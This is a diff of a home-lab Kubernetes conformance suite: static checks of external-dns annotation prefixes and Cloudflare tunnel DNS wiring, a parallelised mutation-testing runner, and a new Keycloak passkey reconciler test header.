+#     then answers anycast for them is a live read (`dig @1.1.1.1`), not a static one.
 #   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
 # =============================================================================
 apiVersion: chainsaw.kyverno.io/v1alpha1

conformance/tests/l0-static/internal-services-publish-no-public-dns/check.sh

@@ -26,7 +26,20 @@
 #       KNOWN_NON_CATALOG_PUBLISHERS — shrink-only, stale entries FAIL;
 #   (7) the check is LOAD-BEARING: whole-repo scope declared in chainsaw-test.yaml, honoured by
 #       ci/l0.sh's --include-scope union, and ci/gate.sh blocks on an l0 failure. NO hand-written
-#       ci/l0.sh stage (whole-repo-invariants-wired fails the gate if one appears).
+#       ci/l0.sh stage (whole-repo-invariants-wired fails the gate if one appears);
+#   (8) the external-dns HelmRelease declares `annotationPrefix` explicitly and it matches the
+#       prefix of EVERY external-dns annotation in the tree and in catalog/render.py — added after
+#       the 2026-11-07 v0.23.0 default-prefix change silently voided (1)-(3) at runtime;
+#   (9) THE CLOUDFLARE TUNNEL WIRING (2026-11-08) — every public name is a PROXIED CNAME to the tunnel:
+#       (a) the shared Gateway's `target` is EXACTLY `<tunnel:>.cfargotunnel.com`, the UUID read from
+#           platform/cloudflared/config.yaml, and the HelmRelease sets `--cloudflare-proxied`;
+#       (b) every `service`-source publisher carries `cloudflare-proxied: "false"` (L4 A records stay
+#           DNS-only), and no HTTPRoute opts out of proxying (a DNS-only tunnel CNAME is dead);
+#       (c) no hostname the tunnel maps to `http_status:404` has a public record — no undisowned route
+#           names it, and the only `service`-source publishers of one are the declared L4 DNS-only
+#           names (unifi, crafty-mc); conversely every disowned route's hostname IS 404'd by the
+#           tunnel, so the "unpublished" and "refused at the tunnel" lists cannot drift apart;
+#       (d) the operator's LAN/VPN-only names (plex, headlamp) are disowned everywhere they appear.
 #
 # WHAT THIS DOES *NOT* PROVE (honest gaps — it is STATIC, offline, cluster-free):
 #   - That the record is gone from Cloudflare. Live read; belongs beside
@@ -36,8 +49,11 @@
 #     both the A and its `a-` TXT within ~60s) — but a manual proof is not a gate.
 #   - That an internal name is UNREACHABLE. A port-forward plus a literal IP needs no DNS record.
 #     This check owns the NAME axis only.
-#   - Anything about the five public services' TARGET. They still answer with the Gateway VIP; the
-#     routable-target decision is open and recorded in platform/externaldns/helmrelease.yaml.
+#   - That the tunnel actually SERVES the public names, or that Cloudflare honoured `proxied`. (9)
+#     proves the tree asks for a proxied CNAME to the right tunnel; the live answer (`dig @1.1.1.1`
+#     returning Cloudflare anycast) is a runtime read. Nor does (8)/(9) prove the RUNNING controller
+#     honours the prefix — a future chart bump that drops it would publish PROXIED A records at the
+#     Gateway VIP; (8) only keeps the tree and the HelmRelease value consistent.
 #   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
 #
 # Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
@@ -90,9 +106,18 @@ CHECKS = 0
 #   ControllerValue = "dns-controller"                  -> the value that CLAIMS an object
 # source/annotations/processors.go IsControllerMismatch skips a source object when the key is
 # PRESENT and the value is NOT ControllerValue. So "disowned" == key present, value != claimed.
-CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
+#
+# THE PREFIX IS NOT A CONSTANT OF NATURE. Every key external-dns reads is `<annotationPrefix><name>`,
+# and the prefix is a runtime flag whose DEFAULT moved in v0.22.0 (#6424: alpha -> GA, "with no
+# fallback"). On 2026-11-07 the chart bump to v0.23.0 made every key below invisible to the running
+# controller while this check — which only asserted the keys were PRESENT — stayed green. (8) now
+# ties ANNOTATION_PREFIX to the HelmRelease's explicit `annotationPrefix`.
+ANNOTATION_PREFIX = "external-dns.alpha.kubernetes.io/"
+CONTROLLER_KEY = ANNOTATION_PREFIX + "controller"
 CONTROLLER_CLAIMED = "dns-controller"
-HOSTNAME_KEY = "external-dns.alpha.kubernetes.io/hostname"
+HOSTNAME_KEY = ANNOTATION_PREFIX + "hostname"
+# Any key that looks like an external-dns annotation, under ANY prefix variant (alpha, GA, typos).
+EXTERNAL_DNS_KEY_RE = re.compile(r"^external-dns(\.[a-z0-9-]+)*\.kubernetes\.io/")
 
 
 def check(cond, msg):
@@ -129,9 +154,12 @@ def docs_of(p: Path):
 # unadjudicated set cannot grow without a review event. Same ratchet reasoning as
 # KNOWN_EXTERNAL_MONITORS in servicemonitor-ports-resolve.
 #
-# EVERY ENTRY HERE IS A NAME THAT STILL ANSWERS WITH AN RFC1918 ADDRESS IN A PUBLIC ZONE. That is
-# the honest state after this change, and it is deliberate: converting them is an operator
-# decision per name (is grafana meant to be publicly resolvable at all?), not a renderer change,
+# WHAT THE ENTRIES PUBLISH NOW (2026-11-08). Every HTTPRoute entry that is not disowned publishes a
+# PROXIED CNAME to the Cloudflare Tunnel (the shared Gateway's `target`, assertion 9a), so no origin
+# address of ours is in the public zone for it. Headlamp is disowned (operator: LAN/VPN-only, 9d).
+# The two `service`-source entries still publish their RFC1918 LB VIP as a DNS-only A record —
+# deliberate (L4 ports cannot ride Cloudflare's HTTP proxy), and pinned DNS-only by 9b. Whether each
+# remaining name should be public at all stays an operator decision per name, not a renderer change,
 # and a cluster-wide ExternalDNS opt-in filter — the available hardening, see
 # platform/externaldns/helmrelease.yaml — would DELETE all of them at once the moment it is set.
 #
@@ -139,27 +167,28 @@ def docs_of(p: Path):
 # =============================================================================================
 KNOWN_NON_CATALOG_PUBLISHERS: dict[str, str] = {
     "platform/oauth2-proxy/httproute.yaml:oauth2-proxy/oauth2-proxy":
-        "publishes auth.${BASE_DOMAIN} -> the Gateway VIP. The oauth2-proxy login endpoint is a "
+        "publishes auth.${BASE_DOMAIN} -> the tunnel (proxied CNAME). The oauth2-proxy login endpoint is a "
         "platform component, not a catalog service; it must be reachable by every browser that "
         "any forward-auth app redirects, so whether it is PUBLICLY resolvable is coupled to "
         "whether the five public services are — an operator decision, not a renderer one.",
     "platform/keycloak/httproute.yaml:keycloak/keycloak":
-        "publishes keycloak.${BASE_DOMAIN} -> the Gateway VIP, and it is the route that actually "
+        "publishes keycloak.${BASE_DOMAIN} -> the tunnel (proxied CNAME), and it is the route that actually "
         "OWNS that record (the TXT registry entry reads resource=httproute/keycloak/keycloak, not "
         "the catalog-rendered keycloak-8080 route, because external-dns merges duplicate "
         "hostnames and this one won). Keycloak is `exposure: public` in the catalog, so the name "
         "is meant to be public either way; it is listed because the PUBLISHING object is the "
         "hand-authored platform route, which carries no exposure field.",
     "platform/monitoring/grafana-httproute.yaml:monitoring/grafana":
-        "publishes grafana.${BASE_DOMAIN} -> the Gateway VIP. An admin dashboard; almost "
-        "certainly should not be publicly resolvable, but it is not a catalog service and "
-        "withdrawing it is an operator call with the same LAN-resolution prerequisite as the six "
-        "internal services (Pi-hole must answer first).",
+        "publishes grafana.${BASE_DOMAIN} -> the tunnel (proxied CNAME). An admin dashboard "
+        "behind Keycloak; it is not a catalog service, so withdrawing it is an operator call per "
+        "name (it stayed public in the 2026-11-08 tunnel decision).",
     "platform/headlamp/httproute.yaml:headlamp/headlamp":
-        "publishes headlamp.${BASE_DOMAIN} -> the Gateway VIP. A Kubernetes web UI with native "
-        "Keycloak OIDC; same adjudication as grafana.",
+        "publishes NOTHING since 2026-11-08: the route carries `controller: none` (operator "
+        "decision: Headlamp is LAN/VPN-only) and the tunnel 404s the name. A Kubernetes web UI "
+        "with native Keycloak OIDC; listed because it is a hand-authored route, and pinned "
+        "disowned by (9d).",
     "platform/homepage/httproute.yaml:homepage/homepage":
-        "publishes the APEX ${BASE_DOMAIN} itself -> the Gateway VIP, via the https-apex "
+        "publishes the APEX ${BASE_DOMAIN} itself -> the tunnel (proxied CNAME), via the https-apex "
         "listener. The apex is not a per-service name and cannot be withdrawn by an exposure "
         "declaration.",
     "runbooks/serving/httproute.yaml:runbooks/runbooks":
@@ -168,16 +197,16 @@ KNOWN_NON_CATALOG_PUBLISHERS: dict[str, str] = {
         "entry names the homepage route). Deliberately un-authenticated — see the manifest's own "
         "header for why gating runbooks on Keycloak is a loop with no exit.",
     "platform/crafty/httproute.yaml:crafty/crafty":
-        "publishes crafty.${BASE_DOMAIN} -> the Gateway VIP (the Minecraft admin UI, gated by an "
+        "publishes crafty.${BASE_DOMAIN} -> the tunnel (proxied CNAME) (the Minecraft admin UI, gated by an "
         "oauth2-proxy sidecar). Platform component, no exposure field.",
     "platform/crafty/service-l4.yaml:crafty/crafty-l4-tcp":
         "the `service` SOURCE, not a route: publishes crafty-mc.${BASE_DOMAIN} -> "
         "${CRAFTY_L4_VIP} (192.168.2.22) for the raw Minecraft TCP/UDP game ports the HTTPS "
         "Gateway cannot express. A game server is the one case where a public name may be "
-        "genuinely wanted; the address it answers with is still RFC1918.",
+        "genuinely wanted; the address it answers with is still RFC1918, DNS-only (9b).",
     "apps/vms/unifi/50-service-l4.yaml:unifi/unifi-l4-tcp":
         "the `service` source: publishes unifi.${BASE_DOMAIN} -> ${UNIFI_L4_VIP} "
-        "(192.168.2.21) for the UniFi controller VM's inform/STUN/adoption ports. Hand-authored "
+        "(192.168.2.21), DNS-only (9b), for the UniFi controller VM's inform/STUN/adoption ports. Hand-authored "
         "under apps/vms (a VM, not a rendered container service); the catalog's only VM entry is "
         "vm-demo, which declares no ingressRoutes and publishes nothing.",
 }
@@ -231,9 +260,7 @@ for sub in SCAN_DIRS:
             ann = md.get("annotations") or {}
             if kind == "HTTPRoute":
                 routes.append((rel, d))
-            elif kind == "Service" and any(
-                a.startswith("external-dns.alpha.kubernetes.io/") for a in ann
-            ):
+            elif kind == "Service" and any(EXTERNAL_DNS_KEY_RE.match(a) for a in ann):
                 dns_services.append((rel, d))
 
 check(len(routes) > 0, "inventory: no HTTPRoute found under apps/ platform/ runbooks/ — parse "
@@ -444,6 +471,174 @@ check(
     "and the whole-repo-invariants-wired meta-test fails the gate on a hand-written stage.",
 )
 
+# =============================================================================================
+# (8) THE RUNNING CONTROLLER READS THE PREFIX THIS TREE WRITES.
+#     (a) the external-dns HelmRelease sets `values.annotationPrefix` EXPLICITLY (an upstream
+#         default is exactly what moved under us) and it equals ANNOTATION_PREFIX;
+#     (b) it does not ALSO enable `--enable-legacy-annotation-prefix` (dual-read hides a
+#         half-migration; upstream says the flag will be removed);
+#     (c) every external-dns-looking annotation key on any object under apps/ platform/ runbooks/
+#         uses ANNOTATION_PREFIX — a key under another prefix is silently ignored at runtime;
+#     (d) catalog/render.py emits no external-dns key under another prefix.
+#     Migrating to the GA prefix = change ANNOTATION_PREFIX, the HelmRelease value, the renderer
+#     and every manifest in ONE commit; this assertion fails on any partial state.
+# =============================================================================================
+HR_PATH = ROOT / "platform/externaldns/helmrelease.yaml"
+hr = next((d for d in docs_of(HR_PATH) if d.get("kind") == "HelmRelease"
+           and (d.get("metadata") or {}).get("name") == "external-dns"), None)
+check(hr is not None, f"(8) {HR_PATH.relative_to(ROOT)} holds no HelmRelease `external-dns` — "
+                      f"cannot prove which annotation prefix the controller reads")
+values = ((hr or {}).get("spec") or {}).get("values") or {}
+hr_prefix = values.get("annotationPrefix")
+check(
+    hr_prefix == ANNOTATION_PREFIX,
+    f"(8a) external-dns HelmRelease `values.annotationPrefix` is {hr_prefix!r}, but every "
+    f"external-dns annotation in this tree uses {ANNOTATION_PREFIX!r}. A mismatch (or relying on "
+    f"the upstream default, which changed in v0.22.0) makes the controller IGNORE `controller: "
+    f"none`, the Gateway `target` and Service `hostname` — internal names go public, public names "
+    f"answer RFC1918 (incident 2026-11-07).",
+)
+extra = values.get("extraArgs") or []
+extra_s = " ".join(f"{k}={v}" for k, v in extra.items()) if isinstance(extra, dict) \
+    else " ".join(map(str, extra))
+check("enable-legacy-annotation-prefix" not in extra_s and "annotation-prefix" not in extra_s,
+      "(8b) external-dns extraArgs must not set --annotation-prefix or "
+      "--enable-legacy-annotation-prefix; the prefix is declared ONLY via values.annotationPrefix "
+      "so this check can see it")
+
+foreign: list[str] = []
+seen_keys = 0
+for sub in SCAN_DIRS:
+    base = ROOT / sub
+    if not base.is_dir():
+        continue
+    for p in sorted(base.rglob("*.yaml")):
+        rel = p.relative_to(ROOT).as_posix()
+        for d in docs_of(p):
+            for k in annotations_of(d):
+                if isinstance(k, str) and EXTERNAL_DNS_KEY_RE.match(k):
+                    seen_keys += 1
+                    if not k.startswith(ANNOTATION_PREFIX):
+                        foreign.append(f"{rel}:{'/'.join(ident(d))} {k}")
+check(seen_keys > 0, "(8c) no external-dns annotation found anywhere — parse contract broken "
+                     "(the Gateway target alone guarantees at least one)")
+check(not foreign,
+      f"(8c) external-dns annotations under a prefix the controller does NOT read "
+      f"({ANNOTATION_PREFIX!r} is configured): {foreign}")
+render_src = read(CATALOG / "render.py")
+bad_render = sorted({m for m in re.findall(r"external-dns(?:\.[a-z0-9-]+)*\.kubernetes\.io/",
+                                           render_src) if m != ANNOTATION_PREFIX})
+check(not bad_render,
+      f"(8d) catalog/render.py emits external-dns keys under {bad_render}, but the controller "
+      f"reads {ANNOTATION_PREFIX!r}")
+
+# =============================================================================================
+# (9) THE CLOUDFLARE TUNNEL WIRING (2026-11-08). The public names are PROXIED CNAMEs to the tunnel.
+# =============================================================================================
+CF_CONFIG = ROOT / "platform/cloudflared/config.yaml"
+GATEWAY_FILE = ROOT / "platform/gateway/gateway.yaml"
+TARGET_KEY = ANNOTATION_PREFIX + "target"
+PROXIED_KEY = ANNOTATION_PREFIX + "cloudflare-proxied"
+UUID_RE = re.compile(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$")
+
+# The L4 names the tunnel 404s that are NONETHELESS published — as DNS-only A records from the
+# `service` source, at their own LB VIP, because they are not HTTP and never touch the tunnel
+# (operator decision 2026-11-08). Shrink-only, and must agree with the tunnel's 404 list (9c).
+L4_DNS_ONLY_NAMES = {"unifi.${BASE_DOMAIN}", "crafty-mc.${BASE_DOMAIN}"}
+# The operator's LAN/VPN-only HTTP names (2026-11-08). Pinned here as well as in the tunnel config, so
+# deleting one from config.yaml cannot quietly also release it from (9c).
+OPERATOR_LAN_ONLY_NAMES = {"plex.${BASE_DOMAIN}", "headlamp.${BASE_DOMAIN}"}
+
+cf = next(iter(docs_of(CF_CONFIG)), None)
+check(cf is not None and isinstance(cf.get("ingress"), list),
+      f"(9) {CF_CONFIG.relative_to(ROOT)} unreadable or has no `ingress` list — cannot prove what "
+      f"the tunnel refuses or which tunnel the Gateway must target")
+cf = cf or {}
+tunnel = str(cf.get("tunnel") or "")
+check(bool(UUID_RE.match(tunnel)),
+      f"(9a) platform/cloudflared/config.yaml `tunnel:` is {tunnel!r}, not a literal tunnel UUID — "
+      f"the Gateway target is derived from it")
+gw = next((d for d in docs_of(GATEWAY_FILE) if d.get("kind") == "Gateway"
+           and ident(d) == ("gateway", "shared")), None)
+check(gw is not None, f"(9a) {GATEWAY_FILE.relative_to(ROOT)} holds no Gateway gateway/shared")
+want_target = f"{tunnel}.cfargotunnel.com"
+got_target = annotations_of(gw or {}).get(TARGET_KEY)
+check(got_target == want_target,
+      f"(9a) Gateway gateway/shared `{TARGET_KEY}` is {got_target!r}; it must be EXACTLY "
+      f"{want_target!r} (the tunnel in platform/cloudflared/config.yaml). Any other value publishes "
+      f"every public name at the wrong place — a dead cfargotunnel.com name (Cloudflare 1016), or "
+      f"an origin address of ours.")
+check("--cloudflare-proxied" in [str(a) for a in (extra if isinstance(extra, list) else [])]
+      or (isinstance(extra, dict) and str(extra.get("cloudflare-proxied", "")).lower() == "true"),
+      "(9a) external-dns HelmRelease extraArgs must include `--cloudflare-proxied`: a DNS-only "
+      "CNAME to <uuid>.cfargotunnel.com resolves to nothing routable, so every public name is dead")
+
+for rel, d in dns_services:
+    if is_disowned(d):
+        continue
+    if HOSTNAME_KEY not in annotations_of(d):
+        continue
+    v = annotations_of(d).get(PROXIED_KEY)
+    check(str(v).lower() == "false",
+          f"(9b) {rel} Service {'/'.join(ident(d))} publishes via the `service` source but carries "
+          f"`{PROXIED_KEY}: {v!r}`, not \"false\". With --cloudflare-proxied global it would become "
+          f"an orange-clouded A record, which cannot carry L4 traffic and hides nothing (the LB VIP "
+          f"is RFC1918). Every `service`-source publisher must opt out explicitly.")
+for rel, d in routes:
+    v = annotations_of(d).get(PROXIED_KEY)
+    check(v is None or str(v).lower() == "true",
+          f"(9b) {rel} HTTPRoute {'/'.join(ident(d))} sets `{PROXIED_KEY}: {v!r}`. A gateway-sourced "
+          f"record is a CNAME to the tunnel; DNS-only, it is dead. Disown the route instead "
+          f"(`{CONTROLLER_KEY}: none`) if the name should not be public.")
+
+refused = {str(r.get("hostname")) for r in cf.get("ingress") or []
+           if isinstance(r, dict) and r.get("hostname") and r.get("service") == "http_status:404"}
+check(len(refused) > 0, "(9c) the tunnel config 404s no hostname — parse contract broken (the "
+                        "operator's LAN/VPN-only list is known to be non-empty)")
+published_l4: set[str] = set()
+for rel, d in routes:
+    hosts = {str(h) for h in (d.get("spec") or {}).get("hostnames") or []}
+    leaked = sorted(hosts & refused)
+    if is_disowned(d):
+        unrefused = sorted(hosts - refused)
+        check(not unrefused,
+              f"(9c) {rel} HTTPRoute {'/'.join(ident(d))} is disowned (no public record) but the "
+              f"tunnel does not 404 {unrefused}: add them to platform/cloudflared/config.yaml above "
+              f"the wildcard, or the two halves of \"LAN/VPN-only\" have drifted apart.")
+        continue
+    check(not leaked,
+          f"(9c) {rel} HTTPRoute {'/'.join(ident(d))} PUBLISHES {leaked}, which the tunnel maps to "
+          f"http_status:404 (LAN/VPN-only). The name would be a public proxied record that serves "
+          f"only 404s — disown the route (`{CONTROLLER_KEY}: none`) or adjudicate the name.")
+for rel, d in dns_services:
+    if is_disowned(d):
+        continue
+    hosts = {h.strip() for h in str(annotations_of(d).get(HOSTNAME_KEY) or "").split(",")
+             if h.strip()}
+    for h in sorted(hosts & refused):
+        published_l4.add(h)
+        check(h in L4_DNS_ONLY_NAMES,
+              f"(9c) {rel} Service {'/'.join(ident(d))} publishes {h}, which the tunnel 404s, and it "
+              f"is not a declared L4 DNS-only name {sorted(L4_DNS_ONLY_NAMES)}")
+check(L4_DNS_ONLY_NAMES <= refused,
+      f"(9c) L4 DNS-only names {sorted(L4_DNS_ONLY_NAMES - refused)} are not 404'd by the tunnel; a "
+      f"stray CNAME to the tunnel for them would hit the Gateway's catch-all instead of a 404")
+check(published_l4 == L4_DNS_ONLY_NAMES,
+      f"(9c) L4_DNS_ONLY_NAMES is shrink-only: {sorted(L4_DNS_ONLY_NAMES - published_l4)} no longer "
+      f"published by any `service`-source publisher — delete them from the list")
+
+check(OPERATOR_LAN_ONLY_NAMES <= refused,
+      f"(9d) operator LAN/VPN-only names {sorted(OPERATOR_LAN_ONLY_NAMES - refused)} are missing "
+      f"from the tunnel's http_status:404 rules (platform/cloudflared/config.yaml)")
+for name in sorted(OPERATOR_LAN_ONLY_NAMES):
+    naming = [(rel, d) for rel, d in routes
+              if name in {str(h) for h in (d.get("spec") or {}).get("hostnames") or []}]
+    check(len(naming) > 0, f"(9d) no HTTPRoute names {name} — stale OPERATOR_LAN_ONLY_NAMES entry")
+    for rel, d in naming:
+        check(is_disowned(d),
+              f"(9d) {rel} HTTPRoute {'/'.join(ident(d))} names LAN/VPN-only {name} but is not "
+              f"disowned, so external-dns publishes it publicly (operator decision 2026-11-08)")
+
 # =============================================================================================
 if FAILURES:
     for f in FAILURES:

conformance/tests/l0-static/keycloak-client-secret-reconciler/mutations.py

@@ -25,15 +25,19 @@
 #
 #   python3 mutations.py <path-to-extracted-reconciler.py>
 #
-# Runtime is ~20s (one subprocess per mutation, each running the full selftest
-# against an in-process stub Keycloak; no network, no cluster).
+# Runtime is ~11s serial (one subprocess per mutation, each running the full selftest
+# against an in-process stub Keycloak; no network, no cluster). The selftests run in a
+# bounded pool (env MUTATION_JOBS, default min(8, CPUs); 1 = serial); output order and
+# verdicts are independent of the pool size.
 # =============================================================================
 from __future__ import annotations
 
+import os
 import re
 import subprocess
 import sys
 import tempfile
+from concurrent.futures import ThreadPoolExecutor
 from pathlib import Path
 
 
@@ -136,43 +140,99 @@ MUTATIONS: list[tuple[str, str, str, str]] = [
 ]
 
 
+def mutation_jobs() -> int:
+    """Selftests to run at once: env MUTATION_JOBS, else min(8, usable CPUs).
+
+    conformance/lib/run_l1_offline.py exports a smaller MUTATION_JOBS when it is itself
+    running several checks in parallel, so the nested pools do not oversubscribe the host.
+    MUTATION_JOBS=1 reproduces the old serial loop exactly.
+    """
+    raw = os.environ.get("MUTATION_JOBS", "").strip()
+    if raw:
+        try:
+            n = int(raw)
+        except ValueError:
+            n = 0
+        if n < 1:
+            raise ValueError("MUTATION_JOBS must be a positive integer, got %r" % raw)
+        return n
+    try:
+        cpus = len(os.sched_getaffinity(0))
+    except (AttributeError, OSError):
+        cpus = os.cpu_count() or 1
+    return max(1, min(8, cpus))
+
+
+def run_selftest(mutated_src: str) -> subprocess.CompletedProcess:
+    with tempfile.NamedTemporaryFile("w", suffix=".py", delete=False) as fh:
+        fh.write(mutated_src)
+        path = fh.name
+    try:
+        return subprocess.run([sys.executable, path, "--selftest"],
+                              capture_output=True, text=True, timeout=240,
+                              stdin=subprocess.DEVNULL)
+    finally:
+        Path(path).unlink(missing_ok=True)
+
+
 def main() -> int:
     if len(sys.argv) != 2:
         print("usage: mutations.py <extracted-reconciler.py>", file=sys.stderr)
         return 2
     src = Path(sys.argv[1]).read_text()
 
-    problems: list[str] = []
-    killed = 0
+    try:
+        jobs = mutation_jobs()
+    except ValueError as e:
+        print("mutations.py: %s" % e, file=sys.stderr)
+        return 2
+
+    # Pass 1, serial and cheap: every anchor is checked BEFORE anything runs, exactly as the
+    # serial loop did, and each mutation's source is built here. None = anchor failure.
+    planned: list[tuple[str, str, str | None, str | None]] = []
     for name, why, old, new in MUTATIONS:
         old, new = dedent4(old), dedent4(new)
         # An anchor that no longer matches is a FAILURE, not a skip: it means the code
         # moved and this mutation silently stopped proving anything.
         n = src.count(old)
         if n != 1:
-            problems.append("%s: anchor matches %d times (expected exactly 1) -- the "
+            planned.append((name, why,
+                            "%s: anchor matches %d times (expected exactly 1) -- the "
                             "code moved and this mutation no longer proves anything. "
-                            "Re-anchor it against the current source." % (name, n))
+                            "Re-anchor it against the current source." % (name, n), None))
             continue
-        with tempfile.NamedTemporaryFile("w", suffix=".py", delete=False) as fh:
-            fh.write(src.replace(old, new, 1))
-            path = fh.name
-        try:
-            proc = subprocess.run([sys.executable, path, "--selftest"],
-                                  capture_output=True, text=True, timeout=240)
-        finally:
-            Path(path).unlink(missing_ok=True)
-        if proc.returncode == 0:
-            problems.append("%s SURVIVED -- --selftest still passed with this regression "
-                            "applied, so nothing in the suite actually checks it. The "
-                            "mistake it models: %s" % (name, why))
-            continue
-        killed += 1
-        out = proc.stdout + proc.stderr
-        m = re.search(r"SELFTEST FAIL: (\d+) of \d+", out)
-        how = ("%s assertion(s) caught it" % m.group(1) if m
-               else "the selftest aborted (caught, less cleanly)")
-        print("  killed  %-42s %s" % (name, how))
+        planned.append((name, why, None, src.replace(old, new, 1)))
+
+    # Pass 2: the selftests, `jobs` at a time. Each child gets its own temp file, its own
+    # mkdtemp dirs and its own 127.0.0.1:0 stub port, so they share nothing. Results are
+    # consumed in MUTATIONS order, so every line below is printed in the same order, with the
+    # same verdict, as the serial loop produced -- whichever child finishes first.
+    problems: list[str] = []
+    killed = 0
+    pool = ThreadPoolExecutor(max_workers=jobs)
+    try:
+        futures = [pool.submit(run_selftest, mutated) if mutated is not None else None
+                   for (_n, _w, _a, mutated) in planned]
+        for (name, why, anchor_problem, _m), fut in zip(planned, futures):
+            if anchor_problem is not None:
+                problems.append(anchor_problem)
+                continue
+            proc = fut.result()
+            if proc.returncode == 0:
+                problems.append("%s SURVIVED -- --selftest still passed with this regression "
+                                "applied, so nothing in the suite actually checks it. The "
+                                "mistake it models: %s" % (name, why))
+                continue
+            killed += 1
+            out = proc.stdout + proc.stderr
+            m = re.search(r"SELFTEST FAIL: (\d+) of \d+", out)
+            how = ("%s assertion(s) caught it" % m.group(1) if m
+                   else "the selftest aborted (caught, less cleanly)")
+            print("  killed  %-42s %s" % (name, how))
+    finally:
+        # A timeout (or any other exception) still propagates and fails the check, as it did
+        # serially; queued mutations are cancelled rather than run for nothing.
+        pool.shutdown(wait=True, cancel_futures=True)
 
     print()
     if problems:

conformance/tests/l0-static/keycloak-passkey-reconciler/chainsaw-test.yaml

@@ -0,0 +1,108 @@
+# =============================================================================
+# L0 STATIC — the passkey configuration is derived from one declaration, continuously
+# reconciled, and the browser login flow converges BLUE/GREEN: the BOUND flow is
+# unwritable, and binding a new one is git's explicit decision (bind-browser-flow)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# R-IDP-03 (identity config is declarative) and R-IDP-04 (MFA available) are both
+# implemented through a mechanism that FAILS OPEN: the KeycloakRealmImport is a ONE-SHOT.
+# Measured on prod 2026-10-18, hours after the passkey declaration merged:
+#
+#   kubectl -n keycloak get keycloakrealmimport homelab -o jsonpath='{.status}'
+#   Done=True  Started=False  HasErrors=False
+#
+# Once it rests at Done=True the operator never re-runs it, so the WebAuthn passwordless
+# policy and the restructured `browser-mfa` flow that keycloak-realm-import.yaml declares
+# are INERT — in git, applied by Flux, reported Ready, reaching the realm never. Merging
+# them changed nothing about how anyone logs in, and nothing anywhere said so.
+# Declarative config that silently does not apply is not declarative config.
+#
+# GIVEN the repository as authored,
+# THEN  the reconciler's desired state is GENERATED from the realm import (so the RP ID —
+#       which is baked into every passkey at enrolment and can NEVER be re-keyed — is
+#       declared exactly once); both files are rendered by the SAME Flux Kustomization, so
+#       their ${BASE_DOMAIN} token cannot resolve to two values; the renderer's exported
+#       policy keys and the reconciler's writable keys are the SAME tuple; the realm
+#       import declares NO requiredActions block (26.0.6 treats it as REPLACE, which would
+#       delete CONFIGURE_TOTP and lock out every platform-admin); the enrolment action is
+#       enabled but NOT a defaultAction, so enrolment stays opt-in; the reconciler carries
+#       no ServiceAccount token, mounts only what it needs, passes no mode flag, and
+#       contains no dollar sign; the endpoint allow-list contains NO delete, NO
+#       single-execution or config-edit write, and NO required-action write for any alias
+#       other than the one named literally; the protected-subtree guard exists, is wired
+#       into the single request choke point and is fail-closed; the SIBLING client-secret
+#       reconciler's allow-list is NOT widened; and the reconciler's own `--selftest`
+#       (extracted from the shipped ConfigMap and executed) proves compare-then-write,
+#       idempotence, strict read-modify-write, the RpEntityName gate, the bound flow and
+#       its sub-flows unwritable, the git bind switch and a rollback that sticks, the
+#       conditional-OTP regression and fail-closed — with mutations.py proving that
+#       selftest can FAIL.
+#
+# WHY THE FLOW IS BUILT BLUE/GREEN AND BOUND ONLY ON GIT'S SAY-SO, asserted here rather
+# than only argued: converging a five-flow, ten-execution restructure needs
+# create-subflow, create-execution, set-requirement and bind-config as SEPARATE admin API
+# calls with no transaction. Doing that to the BOUND flow means a run that dies between
+# them leaves a HALF-BUILT FLOW AS THE LOGIN PATH for Grafana, Gitea, Nextcloud, Headlamp,
+# Semaphore, PiHole, Crafty, the *arr stack AND kubectl — this repo has had a total SSO
+# outage from a realm change (2026-09-06), and the conditional-OTP sub-flow once 403'd
+# every platform-admin. So every multi-call write lands on a NEW, unused candidate flow,
+# which is verified by readback before anything is bound. Binding it is then ONE atomic
+# PUT of browserFlow, made only when passkey-desired-state.yaml sets
+# bind-browser-flow: "true" (default "false"): an untested login flow never goes live on
+# a schedule tick, and with the switch off an operator's rollback is never undone.
+#
+# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (git + PyYAML +
+# stdlib); conformance/run.sh --layer l0 and ci/l0.sh run it directly, and this Chainsaw
+# Test wraps the SAME script.
+#
+# NOT proven here: that the LIVE realm's policy, enrolment action or browser flow match
+# git (that is cluster state — the reconciler's `--audit` mode is the read-only probe for
+# it, and NO L2 test is added by this change, so the live realm is UNVERIFIED by CI);
+# that a passkey ceremony actually completes or that the ALTERNATIVE fork degrades to the
+# password form (needs a real browser against a real realm); that the five flow-building
+# admin-API calls behave against a live Keycloak the way the 26.0.6 source says they do
+# (every proof here is against an in-process stub); or that the CronJob's schedule fires.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: keycloak-passkey-reconciler
+  labels:
+    conformance.home.k3s/R-IDP-03: "true"
+    conformance.home.k3s/R-IDP-04: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-03, R-IDP-04"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE, for the same reason the sibling keycloak-client-secret-reconciler
+    # check declares it: this invariant spans platform/ (the realm import, the reconciler,
+    # the generated desired state), platform-config/ (which Flux Kustomization renders
+    # them, and therefore which substitution pass they share), ci/ (the renderer) and
+    # clusters/ (that both are reachable from both entrypoints). A change that breaks it
+    # need not attribute R-IDP-03/04 at all, and the requirement-scoped selection would
+    # then filter this check out of exactly the change that introduces the bug — which is
+    # how 12 unusable prod OIDC clients sat behind an entirely green cluster on
+    # 2026-09-06.
+    conformance.home.k3s/scope: "whole-repo"
+    # Not safety-critical in the harness's sense (it mutates nothing and needs no
+    # cluster), but it guards a component that holds WRITE access to the identity
+    # provider's realm settings.
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      The realm's passkey configuration — policy, enrolment action AND browser login
+      flow — is declared once in the realm import, derived from it by a gated renderer,
+      and continuously reconciled; the flow converges blue/green, so a one-shot import
+      that never re-runs can neither leave the configuration inert nor let a reconciler
+      half-rewrite the login path of the whole platform.
+spec:
+  steps:
+    - name: audit-passkey-declaration-renderer-and-reconciler
+      description: >-
+        Assert the desired state is derived from the realm import and shares its
